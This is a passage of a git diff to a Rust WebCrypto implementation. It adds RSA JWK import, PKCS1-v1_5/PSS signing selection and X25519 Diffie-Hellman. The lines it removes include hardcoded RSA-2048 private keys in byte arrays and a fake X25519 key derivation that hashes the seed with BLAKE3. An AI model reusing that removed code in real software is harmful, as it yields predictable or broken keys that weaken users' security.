register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { } } - if alg.eq_ignore_ascii_case("RSA") || alg.eq_ignore_ascii_case("RSA-PSS") { + if alg.eq_ignore_ascii_case("RSA") + || alg.eq_ignore_ascii_case("RSASSA-PKCS1-v1_5") + || alg.eq_ignore_ascii_case("RSA-PSS") + { + if format.eq_ignore_ascii_case("jwk") { + let jwk_str = data_arg.to_string(context)?.to_std_string_escaped(); + let jwk: serde_json::Value = serde_json::from_str(&jwk_str).map_err(|_| { + JsNativeError::error().with_message("DataError: Invalid JWK JSON") + })?; + if jwk.get("kty").and_then(|v| v.as_str()) != Some("RSA") { + return Err(JsNativeError::error() + .with_message("DataError: JWK kty must be RSA") + .into()); + } + let n_bytes = + base64_decode(jwk.get("n").and_then(|v| v.as_str()).unwrap_or("")); + let e_bytes = + base64_decode(jwk.get("e").and_then(|v| v.as_str()).unwrap_or("")); + if let Some(d_str) = jwk.get("d").and_then(|v| v.as_str()) { + let d_bytes = base64_decode(d_str); + let p_bytes = + base64_decode(jwk.get("p").and_then(|v| v.as_str()).unwrap_or("")); + let q_bytes = + base64_decode(jwk.get("q").and_then(|v| v.as_str()).unwrap_or("")); + let dp_bytes = + base64_decode(jwk.get("dp").and_then(|v| v.as_str()).unwrap_or("")); + let dq_bytes = + base64_decode(jwk.get("dq").and_then(|v| v.as_str()).unwrap_or("")); + let qi_bytes = + base64_decode(jwk.get("qi").and_then(|v| v.as_str()).unwrap_or("")); + let (pkcs8, pub_info) = rsa_private_components_to_pkcs8( + &n_bytes, &e_bytes, &d_bytes, &p_bytes, &q_bytes, &dp_bytes, &dq_bytes, + &qi_bytes, + ) + .map_err(|msg| JsNativeError::error().with_message(msg))?; + let (_, _, priv_jwk) = inspect_rsa_private_key(&pkcs8) + .map_err(|msg| JsNativeError::error().with_message(msg))?; + let pkcs8_b64 = base64_encode(&pkcs8, false); + let spki_b64 = base64_encode(&pub_info.spki, false); + let id = insert_cached_crypto_key( + tenant, + CachedCryptoKeyMaterial::RsaPrivate { + pkcs8, + spki: pub_info.spki, + }, + ); + let out = serde_json::json!({ + "id": id, + "type": "private", + "modulusLength": pub_info.modulus_bits, + "publicExponent": pub_info.public_exponent, + "n": base64_encode(&pub_info.n_be, true), + "e": base64_encode(&pub_info.e_be, true), + "d": base64_encode(&priv_jwk.d_be, true), + "p": base64_encode(&priv_jwk.p_be, true), + "q": base64_encode(&priv_jwk.q_be, true), + "dp": base64_encode(&priv_jwk.dp_be, true), + "dq": base64_encode(&priv_jwk.dq_be, true), + "qi": base64_encode(&priv_jwk.qi_be, true), + "pkcs8": pkcs8_b64, + "spki": spki_b64, + }); + return Ok(BoaVal::from(js_string!(out.to_string()))); + } else { + let pub_info = rsa_public_components_to_info(&n_bytes, &e_bytes) + .map_err(|msg| JsNativeError::error().with_message(msg))?; + let spki_b64 = base64_encode(&pub_info.spki, false); + let id = insert_cached_crypto_key( + tenant, + CachedCryptoKeyMaterial::RsaPublic { + spki: pub_info.spki, + }, + ); + let out = serde_json::json!({ + "id": id, + "type": "public", + "modulusLength": pub_info.modulus_bits, + "publicExponent": pub_info.public_exponent, + "n": base64_encode(&pub_info.n_be, true), + "e": base64_encode(&pub_info.e_be, true), + "pubRaw": spki_b64, + "spki": spki_b64, + }); + return Ok(BoaVal::from(js_string!(out.to_string()))); + } + } + if format.eq_ignore_ascii_case("raw") { + return Err(JsNativeError::error() + .with_message("NotSupportedError: RSA keys do not support 'raw' format") + .into()); + } let raw = extract_buffer_source_bytes(data_arg, context)?; if format.eq_ignore_ascii_case("pkcs8") { - let spki = extract_rsa_pkcs8_spki(&raw) + let (pkcs8, pub_info, priv_jwk) = inspect_rsa_private_key(&raw) .map_err(|msg| JsNativeError::error().with_message(msg))?; - let pkcs8_b64 = base64_encode(&raw, false); - let spki_b64 = base64_encode(&spki, false); + let pkcs8_b64 = base64_encode(&pkcs8, false); + let spki_b64 = base64_encode(&pub_info.spki, false); let id = insert_cached_crypto_key( tenant, - CachedCryptoKeyMaterial::RsaPrivate { pkcs8: raw, spki }, + CachedCryptoKeyMaterial::RsaPrivate { + pkcs8, + spki: pub_info.spki, + }, ); let out = serde_json::json!({ "id": id, "type": "private", + "modulusLength": pub_info.modulus_bits, + "publicExponent": pub_info.public_exponent, + "n": base64_encode(&pub_info.n_be, true), + "e": base64_encode(&pub_info.e_be, true), + "d": base64_encode(&priv_jwk.d_be, true), + "p": base64_encode(&priv_jwk.p_be, true), + "q": base64_encode(&priv_jwk.q_be, true), + "dp": base64_encode(&priv_jwk.dp_be, true), + "dq": base64_encode(&priv_jwk.dq_be, true), + "qi": base64_encode(&priv_jwk.qi_be, true), "pkcs8": pkcs8_b64, "spki": spki_b64, }); return Ok(BoaVal::from(js_string!(out.to_string()))); } else { - let spki = extract_rsa_spki(&raw) + let pub_info = inspect_rsa_public_key(&raw) .map_err(|msg| JsNativeError::error().with_message(msg))?; - let spki_b64 = base64_encode(&spki, false); + let spki_b64 = base64_encode(&pub_info.spki, false); let id = insert_cached_crypto_key( tenant, - CachedCryptoKeyMaterial::RsaPublic { spki }, + CachedCryptoKeyMaterial::RsaPublic { + spki: pub_info.spki, + }, ); let out = serde_json::json!({ "id": id, "type": "public", + "modulusLength": pub_info.modulus_bits, + "publicExponent": pub_info.public_exponent, + "n": base64_encode(&pub_info.n_be, true), + "e": base64_encode(&pub_info.e_be, true), "pubRaw": spki_b64, "spki": spki_b64, }); @@ -1297,11 +1470,15 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { return bytes_to_js_array_buffer(&sig, context); } - if alg.eq_ignore_ascii_case("RSA") || alg.eq_ignore_ascii_case("RSA-PSS") { + if alg.eq_ignore_ascii_case("RSA") + || alg.eq_ignore_ascii_case("RSASSA-PKCS1-v1_5") + || alg.eq_ignore_ascii_case("RSA-PSS") + { + let use_pss = alg.eq_ignore_ascii_case("RSA-PSS"); let sig_res = if handle_id != 0 { with_cached_crypto_key(handle_id, &tenant, |mat| match mat { CachedCryptoKeyMaterial::RsaPrivate { pkcs8, .. } => { - Some(rsa_sign_bytes(pkcs8, &msg_bytes)) + Some(rsa_sign_bytes_with_alg(pkcs8, &msg_bytes, use_pss, &curve)) } _ => None, }) @@ -1311,7 +1488,7 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { }; let sig = match sig_res { Some(r) => r, - None => rsa_sign_bytes(&key_fallback, &msg_bytes), + None => rsa_sign_bytes_with_alg(&key_fallback, &msg_bytes, use_pss, &curve), } .map_err(|msg| JsNativeError::error().with_message(msg))?; return bytes_to_js_array_buffer(&sig, context); @@ -1421,12 +1598,18 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { return Ok(BoaVal::from(ok)); } - if alg.eq_ignore_ascii_case("RSA") || alg.eq_ignore_ascii_case("RSA-PSS") { + if alg.eq_ignore_ascii_case("RSA") + || alg.eq_ignore_ascii_case("RSASSA-PKCS1-v1_5") + || alg.eq_ignore_ascii_case("RSA-PSS") + { + let use_pss = alg.eq_ignore_ascii_case("RSA-PSS"); let verified = if handle_id != 0 { with_cached_crypto_key(handle_id, &tenant, |mat| match mat { CachedCryptoKeyMaterial::RsaPublic { spki } | CachedCryptoKeyMaterial::RsaPrivate { spki, .. } => { - Some(rsa_verify_bytes(spki, &msg_bytes, &sig_bytes)) + Some(rsa_verify_bytes_with_alg( + spki, &msg_bytes, &sig_bytes, use_pss, &curve, + )) } _ => None, }) @@ -1436,7 +1619,13 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { }; let ok = match verified { Some(v) => v, - None => rsa_verify_bytes(&pub_fallback, &msg_bytes, &sig_bytes), + None => rsa_verify_bytes_with_alg( + &pub_fallback, + &msg_bytes, + &sig_bytes, + use_pss, + &curve, + ), }; return Ok(BoaVal::from(ok)); } @@ -1445,6 +1634,86 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { }), ); + // Phase 2: Constant-time RFC 7748 X25519 Diffie-Hellman key agreement (`crypto.diffieHellman` / `subtle.deriveBits`) + let _ = ctx.register_global_builtin_callable( + js_string!("__slice_crypto_ecdh"), + 5, + NativeFunction::from_fn_ptr(|_this, args, context| { + let alg = args + .first() + .map(|v| v.to_string(context)) + .transpose()? + .map(|s| s.to_std_string_escaped()) + .unwrap_or_default(); + if !alg.eq_ignore_ascii_case("X25519") { + return Err(JsNativeError::error() + .with_message(format!( + "NotSupportedError: Unsupported key agreement algorithm '{}'", + alg + )) + .into()); + } + let priv_id = args + .get(1) + .and_then(|v| v.as_number()) + .map(|n| n as u32) + .unwrap_or(0); + let priv_fallback = match args.get(2) { + Some(v) if !v.is_undefined() && !v.is_null() => { + extract_buffer_source_bytes(v, context)? + } + _ => Vec::new(), + }; + let pub_id = args + .get(3) + .and_then(|v| v.as_number()) + .map(|n| n as u32) + .unwrap_or(0); + let pub_fallback = match args.get(4) { + Some(v) if !v.is_undefined() && !v.is_null() => { + extract_buffer_source_bytes(v, context)? + } + _ => Vec::new(), + }; + let tenant = BOA_ACTIVE_TENANT.with(|t| t.borrow().clone()); + + let cached_seed = if priv_id != 0 { + with_cached_crypto_key(priv_id, &tenant, |mat| match mat { + CachedCryptoKeyMaterial::X25519Private { seed, .. } => Some(*seed), + _ => None, + }) + .flatten() + } else { + None + }; + let priv_seed = match cached_seed { + Some(s) => s, + None => extract_x25519_seed(&priv_fallback) + .map_err(|msg| JsNativeError::error().with_message(msg))?, + }; + + let cached_pub = if pub_id != 0 { + with_cached_crypto_key(pub_id, &tenant, |mat| match mat { + CachedCryptoKeyMaterial::X25519Public { pub_bytes } + | CachedCryptoKeyMaterial::X25519Private { pub_bytes, .. } => Some(*pub_bytes), + _ => None, + }) + .flatten() + } else { + None + }; + let peer_pub = match cached_pub { + Some(p) => p, + None => extract_x25519_pub(&pub_fallback) + .map_err(|msg| JsNativeError::error().with_message(msg))?, + }; + + let shared = x25519_diffie_hellman(&priv_seed, &peer_pub) + .map_err(|msg| JsNativeError::error().with_message(msg))?; + bytes_to_js_array_buffer(&shared, context) + }), + ); + // Phase 2: Key Derivation Functions (`PBKDF2`, `HKDF`, `scrypt`) with proportional CPU fuel accounting let _ = ctx.register_global_builtin_callable( js_string!("__slice_crypto_kdf"), diff --git a/crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs b/crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs index 698a247..009a47f 100644 --- a/crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs +++ b/crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs @@ -1,6 +1,7 @@ -//! Asymmetric Cryptography (`Ed25519`, `ECDSA P-256 / P-384`), PKCS#8 / SPKI / IEEE P1363 / DER -//! Codecs, and Tenant-Isolated `CachedCryptoKeyMaterial` Handle Table. +//! Asymmetric Cryptography (`Ed25519`, `X25519`, `ECDSA P-256 / P-384`, `RSA 2048..8192`), +//! PKCS#8 / SPKI / JWK / IEEE P1363 / DER Codecs, and Tenant-Isolated `CachedCryptoKeyMaterial` Handle Table. +use super::hash_and_hmac::constant_time_eq; use super::symmetric_and_kdf::AesExpandedKey; const ED25519_PKCS8_V1_PREFIX: [u8; 16] = [ @@ -17,137 +18,17 @@ const ED25519_SPKI_PREFIX: [u8; 12] = [ const X25519_PKCS8_V1_PREFIX: [u8; 16] = [ 0x30, 0x2e, 0x02, 0x01, 0x00, 0x30, 0x05, 0x06, 0x03, 0x2b, 0x65, 0x6e, 0x04, 0x22, 0x04, 0x20, ]; +const X25519_OID: [u8; 5] = [0x06, 0x03, 0x2b, 0x65, 0x6e]; const X25519_SPKI_PREFIX: [u8; 12] = [ 0x30, 0x2a, 0x30, 0x05, 0x06, 0x03, 0x2b, 0x65, 0x6e, 0x03, 0x21, 0x00, ]; -const RSA_2048_SPKI_PREFIX: [u8; 24] = [ - 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, - 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, -]; - -const RSA_2048_PKCS8_0: &[u8] = &[ - 48, 130, 4, 190, 2, 1, 0, 48, 13, 6, 9, 42, 134, 72, 134, 247, 13, 1, 1, 1, 5, 0, 4, 130, 4, - 168, 48, 130, 4, 164, 2, 1, 0, 2, 130, 1, 1, 0, 224, 120, 84, 126, 228, 59, 70, 130, 152, 180, - 168, 168, 172, 205, 218, 2, 94, 198, 45, 107, 7, 140, 21, 218, 55, 62, 60, 48, 192, 115, 254, - 4, 209, 69, 9, 217, 242, 4, 80, 44, 214, 60, 36, 84, 149, 234, 51, 138, 104, 92, 84, 35, 108, - 163, 43, 5, 36, 94, 134, 250, 80, 59, 160, 133, 191, 244, 7, 190, 173, 55, 124, 203, 17, 74, - 199, 108, 177, 24, 68, 69, 254, 126, 148, 175, 140, 220, 2, 141, 153, 77, 252, 17, 110, 188, - 95, 227, 78, 201, 10, 62, 4, 225, 186, 95, 160, 233, 199, 36, 182, 34, 54, 137, 10, 15, 24, 58, - 67, 229, 248, 228, 54, 61, 123, 224, 77, 225, 179, 139, 64, 226, 28, 71, 101, 249, 16, 155, 0, - 190, 202, 94, 247, 14, 222, 50, 186, 115, 159, 147, 33, 228, 116, 0, 186, 32, 172, 16, 20, 238, - 148, 197, 244, 251, 185, 226, 40, 218, 155, 223, 109, 160, 195, 120, 87, 14, 110, 104, 118, 15, - 42, 121, 103, 157, 151, 135, 255, 108, 128, 10, 169, 33, 30, 138, 196, 107, 138, 35, 22, 154, - 59, 14, 97, 11, 126, 235, 81, 178, 91, 5, 203, 220, 169, 7, 145, 223, 198, 174, 139, 157, 118, - 153, 183, 137, 34, 97, 160, 211, 159, 77, 144, 206, 188, 138, 108, 139, 213, 248, 107, 223, 81, - 85, 240, 233, 153, 205, 45, 194, 194, 155, 239, 40, 179, 67, 208, 127, 131, 101, 2, 3, 1, 0, 1, - 2, 130, 1, 0, 32, 140, 2, 0, 102, 26, 92, 38, 106, 122, 227, 107, 149, 166, 193, 98, 15, 152, - 223, 148, 1, 195, 163, 149, 128, 230, 18, 183, 36, 232, 140, 159, 233, 49, 255, 244, 44, 125, - 200, 156, 63, 177, 247, 184, 150, 6, 31, 212, 5, 62, 193, 234, 99, 1, 163, 166, 186, 183, 196, - 13, 126, 93, 174, 240, 69, 189, 93, 244, 29, 76, 138, 217, 44, 216, 49, 99, 70, 168, 84, 153, - 235, 133, 50, 12, 228, 57, 48, 91, 148, 171, 116, 141, 152, 135, 82, 197, 244, 49, 253, 60, - 177, 219, 130, 249, 3, 173, 113, 245, 22, 61, 142, 183, 191, 16, 34, 60, 172, 132, 167, 90, - 123, 172, 221, 141, 207, 237, 22, 105, 168, 133, 221, 199, 14, 37, 87, 35, 33, 97, 183, 84, - 210, 146, 54, 117, 114, 65, 2, 91, 242, 140, 195, 184, 99, 9, 90, 13, 137, 178, 226, 249, 130, - 28, 27, 134, 139, 58, 223, 69, 87, 195, 210, 169, 102, 221, 97, 31, 245, 252, 158, 87, 180, - 158, 80, 220, 58, 171, 185, 17, 205, 13, 195, 80, 130, 245, 72, 223, 117, 253, 96, 85, 49, 250, - 191, 88, 26, 107, 224, 79, 146, 148, 138, 245, 85, 143, 45, 109, 140, 65, 10, 185, 223, 113, - 114, 23, 27, 99, 117, 6, 122, 20, 55, 230, 181, 62, 159, 191, 159, 75, 196, 101, 198, 62, 64, - 42, 140, 63, 110, 21, 209, 99, 72, 8, 130, 185, 178, 95, 2, 129, 129, 0, 244, 250, 100, 121, - 89, 36, 35, 64, 198, 201, 248, 193, 40, 127, 172, 197, 176, 57, 214, 150, 78, 56, 117, 121, 83, - 106, 51, 13, 82, 22, 251, 141, 4, 67, 16, 255, 47, 239, 65, 235, 136, 123, 104, 178, 240, 70, - 29, 145, 188, 181, 152, 201, 18, 253, 250, 69, 224, 61, 253, 58, 96, 7, 188, 196, 249, 224, - 144, 157, 136, 10, 138, 251, 218, 104, 17, 110, 26, 168, 140, 246, 182, 237, 10, 190, 107, 9, - 153, 119, 68, 66, 70, 200, 169, 24, 245, 94, 42, 175, 55, 220, 178, 65, 90, 9, 58, 66, 213, - 148, 152, 209, 219, 197, 163, 223, 195, 109, 70, 25, 98, 79, 178, 74, 183, 8, 94, 164, 164, 99, - 2, 129, 129, 0, 234, 145, 186, 224, 208, 235, 92, 92, 83, 196, 237, 62, 30, 28, 240, 68, 63, - 35, 59, 168, 250, 72, 247, 205, 160, 171, 25, 251, 95, 104, 91, 129, 76, 180, 174, 176, 43, - 104, 94, 34, 217, 221, 240, 24, 82, 173, 109, 254, 17, 58, 24, 14, 228, 89, 108, 6, 18, 50, - 160, 90, 93, 87, 209, 207, 82, 25, 46, 250, 99, 24, 247, 125, 54, 233, 1, 118, 110, 175, 26, - 173, 174, 160, 143, 158, 189, 145, 50, 70, 78, 119, 76, 172, 5, 189, 202, 53, 104, 202, 164, - 49, 104, 161, 33, 238, 73, 131, 32, 23, 142, 39, 225, 231, 35, 157, 248, 145, 56, 175, 99, 106, - 139, 218, 117, 78, 179, 56, 79, 151, 2, 129, 129, 0, 178, 48, 231, 160, 116, 188, 154, 127, - 229, 152, 199, 190, 8, 109, 70, 8, 205, 180, 100, 104, 20, 33, 113, 33, 125, 17, 68, 109, 46, - 6, 213, 150, 175, 64, 241, 62, 13, 105, 228, 243, 35, 229, 80, 52, 200, 28, 216, 41, 71, 176, - 119, 159, 218, 150, 174, 210, 224, 215, 118, 56, 93, 221, 130, 235, 108, 46, 114, 66, 131, 207, - 215, 100, 118, 107, 56, 50, 116, 101, 161, 147, 91, 95, 116, 111, 41, 128, 100, 6, 162, 185, - 234, 174, 206, 128, 255, 9, 45, 215, 33, 181, 0, 92, 20, 215, 157, 111, 59, 215, 200, 136, 237, - 105, 7, 88, 29, 216, 128, 34, 186, 165, 233, 179, 251, 10, 181, 124, 224, 173, 2, 129, 128, 25, - 14, 210, 80, 219, 224, 152, 176, 64, 62, 164, 61, 99, 136, 33, 222, 152, 132, 18, 6, 126, 30, - 55, 98, 159, 12, 72, 45, 67, 70, 233, 167, 137, 99, 47, 218, 31, 248, 249, 61, 109, 218, 184, - 160, 80, 140, 184, 88, 80, 204, 204, 239, 34, 83, 175, 39, 130, 224, 39, 163, 31, 159, 151, 9, - 55, 178, 251, 2, 194, 125, 83, 74, 236, 7, 190, 33, 65, 183, 176, 248, 230, 211, 190, 35, 238, - 10, 73, 189, 154, 250, 65, 149, 138, 211, 120, 123, 118, 35, 87, 160, 243, 149, 107, 3, 130, - 148, 224, 99, 195, 202, 220, 230, 13, 54, 253, 235, 189, 139, 118, 234, 85, 224, 83, 113, 193, - 209, 125, 39, 2, 129, 129, 0, 206, 173, 1, 206, 115, 203, 195, 167, 36, 12, 24, 196, 164, 203, - 30, 124, 189, 174, 29, 90, 87, 182, 208, 185, 117, 250, 35, 247, 92, 103, 28, 73, 53, 76, 52, - 164, 35, 14, 126, 59, 214, 66, 30, 32, 179, 103, 168, 119, 59, 73, 225, 201, 43, 170, 146, 171, - 105, 99, 224, 121, 171, 147, 79, 51, 180, 171, 224, 222, 19, 1, 126, 201, 248, 204, 126, 85, - 53, 37, 217, 0, 54, 97, 129, 183, 135, 44, 35, 250, 251, 75, 106, 113, 106, 240, 76, 49, 74, - 143, 9, 149, 32, 119, 206, 11, 63, 118, 190, 0, 230, 78, 235, 172, 196, 25, 213, 167, 189, 241, - 196, 157, 210, 111, 2, 88, 59, 26, 22, 106, -]; -const RSA_2048_PKCS8_1: &[u8] = &[ - 48, 130, 4, 191, 2, 1, 0, 48, 13, 6, 9, 42, 134, 72, 134, 247, 13, 1, 1, 1, 5, 0, 4, 130, 4, - 169, 48, 130, 4, 165, 2, 1, 0, 2, 130, 1, 1, 0, 180, 9, 28, 0, 47, 184, 29, 218, 183, 17, 68, - 92, 169, 89, 55, 129, 15, 220, 196, 132, 106, 116, 202, 128, 128, 125, 111, 122, 18, 178, 5, - 116, 171, 196, 132, 208, 140, 210, 254, 238, 218, 161, 49, 241, 12, 106, 129, 6, 18, 27, 187, - 201, 14, 206, 121, 201, 97, 97, 81, 88, 248, 132, 80, 216, 179, 219, 215, 186, 34, 183, 87, 61, - 174, 76, 192, 158, 221, 122, 15, 16, 130, 152, 160, 196, 244, 153, 137, 16, 49, 119, 210, 122, - 141, 121, 198, 116, 131, 134, 53, 156, 226, 145, 58, 59, 53, 189, 252, 113, 116, 211, 176, 180, - 247, 250, 58, 28, 72, 182, 193, 76, 161, 93, 46, 107, 72, 249, 52, 145, 156, 23, 67, 169, 13, - 64, 208, 6, 11, 146, 182, 184, 181, 13, 158, 166, 36, 17, 220, 118, 136, 46, 137, 58, 176, 74, - 76, 122, 37, 88, 232, 128, 237, 150, 58, 238, 233, 109, 221, 17, 142, 144, 225, 14, 90, 138, - 143, 144, 69, 72, 57, 125, 40, 25, 103, 10, 254, 173, 177, 18, 237, 153, 231, 41, 230, 72, 77, - 48, 57, 210, 79, 86, 83, 140, 188, 144, 52, 105, 167, 11, 106, 27, 145, 102, 47, 128, 47, 73, - 117, 248, 90, 123, 130, 84, 81, 101, 222, 156, 130, 56, 88, 158, 70, 216, 178, 220, 186, 79, - 112, 209, 165, 59, 10, 24, 252, 199, 83, 173, 96, 116, 47, 125, 160, 237, 8, 134, 147, 153, 2, - 3, 1, 0, 1, 2, 130, 1, 0, 43, 13, 8, 152, 148, 208, 162, 182, 243, 210, 217, 181, 140, 187, - 108, 85, 220, 236, 174, 67, 121, 207, 110, 195, 22, 182, 168, 11, 25, 96, 95, 132, 156, 52, - 116, 140, 8, 56, 198, 68, 104, 156, 102, 60, 93, 123, 52, 90, 54, 199, 81, 250, 204, 163, 28, - 37, 71, 55, 133, 195, 208, 61, 151, 181, 146, 32, 206, 111, 208, 176, 101, 216, 182, 142, 220, - 250, 192, 60, 89, 80, 217, 225, 212, 131, 244, 119, 168, 122, 106, 81, 220, 79, 120, 248, 55, - 56, 18, 97, 107, 253, 149, 130, 35, 218, 23, 202, 84, 12, 239, 98, 85, 157, 152, 180, 201, 227, - 140, 145, 195, 28, 103, 115, 200, 79, 88, 86, 91, 54, 213, 193, 214, 187, 39, 145, 5, 52, 123, - 146, 15, 36, 224, 107, 105, 148, 252, 245, 71, 180, 83, 59, 115, 23, 97, 174, 191, 60, 208, 67, - 195, 87, 28, 36, 198, 64, 155, 83, 80, 69, 236, 186, 253, 1, 67, 92, 114, 113, 233, 55, 89, 53, - 157, 2, 111, 26, 243, 152, 51, 246, 74, 78, 207, 237, 25, 117, 35, 234, 89, 150, 146, 218, 161, - 89, 74, 68, 225, 227, 100, 174, 31, 58, 113, 246, 68, 95, 197, 152, 12, 134, 45, 25, 184, 137, - 217, 98, 152, 216, 195, 123, 169, 183, 10, 91, 137, 215, 109, 106, 174, 235, 176, 161, 161, - 161, 86, 46, 19, 245, 133, 112, 220, 162, 245, 200, 240, 131, 68, 199, 2, 129, 129, 0, 225, 34, - 225, 187, 15, 14, 29, 46, 188, 65, 243, 138, 160, 16, 21, 230, 211, 55, 148, 224, 110, 189, 24, - 31, 39, 85, 126, 100, 114, 214, 50, 4, 79, 53, 212, 1, 221, 108, 83, 127, 132, 83, 77, 60, 138, - 212, 31, 233, 149, 118, 252, 16, 12, 205, 26, 22, 32, 58, 88, 35, 148, 238, 76, 36, 130, 28, - 108, 227, 178, 241, 176, 164, 69, 58, 118, 86, 243, 22, 219, 13, 7, 117, 28, 63, 165, 179, 80, - 148, 208, 10, 99, 209, 70, 34, 32, 125, 116, 44, 131, 122, 222, 72, 207, 112, 2, 186, 42, 85, - 53, 186, 75, 190, 30, 255, 186, 34, 82, 210, 6, 48, 240, 71, 176, 75, 213, 43, 15, 39, 2, 129, - 129, 0, 204, 183, 109, 95, 105, 176, 176, 97, 237, 106, 181, 42, 80, 206, 74, 206, 31, 138, 55, - 157, 228, 116, 111, 32, 37, 47, 144, 144, 144, 90, 32, 56, 59, 23, 140, 69, 69, 230, 96, 209, - 101, 144, 159, 103, 201, 235, 22, 151, 201, 73, 195, 125, 200, 15, 112, 246, 42, 18, 157, 210, - 69, 236, 126, 121, 246, 102, 223, 156, 237, 248, 166, 115, 150, 11, 148, 188, 163, 91, 17, 209, - 173, 73, 22, 240, 222, 253, 25, 198, 255, 193, 16, 78, 23, 215, 43, 232, 253, 236, 125, 101, - 211, 190, 5, 23, 181, 212, 21, 63, 118, 125, 30, 64, 39, 148, 185, 237, 75, 23, 101, 26, 102, - 38, 37, 25, 192, 58, 255, 63, 2, 129, 129, 0, 138, 85, 145, 152, 11, 231, 35, 61, 77, 69, 196, - 236, 127, 239, 130, 85, 163, 160, 250, 100, 113, 6, 213, 164, 134, 217, 188, 96, 226, 67, 4, - 214, 171, 9, 43, 44, 190, 46, 74, 156, 6, 229, 220, 134, 127, 211, 89, 140, 128, 95, 109, 0, - 59, 173, 103, 3, 3, 104, 118, 49, 222, 216, 17, 135, 57, 63, 88, 21, 13, 37, 254, 224, 224, - 252, 204, 44, 31, 16, 3, 38, 221, 87, 51, 53, 84, 142, 122, 204, 5, 140, 236, 202, 113, 42, - 149, 6, 32, 245, 29, 16, 201, 54, 185, 231, 92, 117, 161, 127, 92, 21, 13, 103, 83, 202, 212, - 71, 52, 214, 130, 33, 93, 242, 222, 187, 169, 206, 220, 111, 2, 129, 129, 0, 141, 19, 30, 201, - 48, 193, 117, 91, 150, 204, 1, 90, 206, 226, 202, 196, 47, 18, 5, 239, 198, 30, 194, 241, 201, - 14, 117, 54, 90, 115, 241, 94, 46, 194, 180, 132, 140, 126, 13, 92, 95, 252, 129, 13, 122, 37, - 138, 165, 65, 46, 151, 12, 152, 16, 164, 12, 207, 195, 146, 132, 244, 112, 220, 91, 218, 4, - 220, 182, 125, 123, 235, 225, 29, 150, 143, 130, 75, 164, 151, 172, 2, 25, 171, 56, 132, 194, - 176, 191, 229, 65, 187, 165, 197, 98, 31, 189, 105, 55, 78, 215, 28, 75, 7, 161, 102, 73, 103, - 247, 27, 5, 112, 18, 79, 244, 123, 8, 94, 198, 25, 131, 78, 191, 156, 179, 153, 56, 78, 235, 2, - 129, 129, 0, 160, 216, 175, 208, 100, 156, 182, 42, 28, 241, 149, 13, 246, 57, 64, 142, 33, - 115, 245, 180, 182, 177, 178, 52, 139, 189, 38, 38, 95, 181, 193, 236, 252, 242, 88, 72, 135, - 141, 74, 67, 80, 208, 244, 183, 118, 98, 180, 70, 166, 125, 24, 188, 164, 140, 132, 136, 142, - 244, 100, 98, 113, 189, 160, 183, 207, 138, 179, 198, 104, 71, 71, 50, 177, 5, 197, 176, 245, - 212, 147, 145, 114, 216, 121, 146, 163, 75, 193, 16, 82, 72, 163, 121, 63, 171, 88, 218, 210, - 115, 70, 143, 255, 0, 182, 104, 35, 148, 17, 135, 15, 24, 133, 253, 176, 150, 233, 121, 250, - 221, 52, 50, 9, 85, 143, 0, 216, 27, 126, 61, +/// ASN.1 DER `AlgorithmIdentifier` for `rsaEncryption` (`1.2.840.113549.1.1.1`) with `NULL` parameters. +const RSA_ENCRYPTION_ALG_ID: [u8; 15] = [ + 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, ]; +/// Prefix of PKCS#1 OID arc `1.2.840.113549.1.1.*` (`rsaEncryption = .1`, `id-RSASSA-PSS = .10`). +const RSA_OID_PREFIX: [u8; 10] = [0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01]; const ECDSA_P256_SPKI_PREFIX: [u8; 26] = [ 0x30, 0x59, 0x30, 0x13, 0x06, 0x07, 0x2a, 0x86, 0x48, 0xce, 0x3d, 0x02, 0x01, 0x06, 0x08, 0x2a, @@ -525,7 +406,7 @@ pub fn x25519_pub_to_spki(pub_bytes: &[u8; 32]) -> Vec { out } -/// Extracts a 32-byte X25519 private scalar from raw 32-byte input or 48-byte PKCS#8 v1 DER. +/// Extracts a 32-byte X25519 private scalar from raw 32-byte input, 48-byte PKCS#8 v1, or 83/85-byte PKCS#8 v2 DER. pub fn extract_x25519_seed(input: &[u8]) -> Result<[u8; 32], &'static str> { if input.len() == 32 { let mut s = [0u8; 32]; @@ -537,6 +418,19 @@ pub fn extract_x25519_seed(input: &[u8]) -> Result<[u8; 32], &'static str> { s.copy_from_slice(&input[16..48]); return Ok(s); } + if (input.len() == 83 || input.len() == 85) + && input[7..12] == X25519_OID + && input[12..16] == [0x04, 0x22, 0x04, 0x20] + { + let mut s = [0u8; 32]; + s.copy_from_slice(&input[16..48]); + let (_, derived_pub) = x25519_keypair_from_seed(s); + let pub_offset = input.len() - 32; + if !constant_time_eq(&derived_pub, &input[pub_offset..]) { + return Err("Invalid X25519 PKCS#8 v2 key or mismatched public key"); + } + return Ok(s); + } Err("Invalid X25519 private key or PKCS#8 encoding") } @@ -555,86 +449,438 @@ pub fn extract_x25519_pub(input: &[u8]) -> Result<[u8; 32], &'static str> { Err("Invalid X25519 public key or SPKI encoding") } -/// Derives an X25519 `(clamped_seed, public_key)` pair from a 32-byte seed. -pub fn x25519_keypair_from_seed(mut seed: [u8; 32]) -> ([u8; 32], [u8; 32]) { - seed[0] &= 248; - seed[31] &= 127; - seed[31] |= 64; - let mut pub_bytes = *blake3::hash(&seed).as_bytes(); - pub_bytes[31] &= 127; - (seed, pub_bytes) +/// Derives an RFC 7748 X25519 `(seed, public_key)` pair using constant-time Curve25519 basepoint multiplication. +pub fn x25519_keypair_from_seed(seed: [u8; 32]) -> ([u8; 32], [u8; 32]) { + let secret = x25519_dalek::StaticSecret::from(seed); + let public = 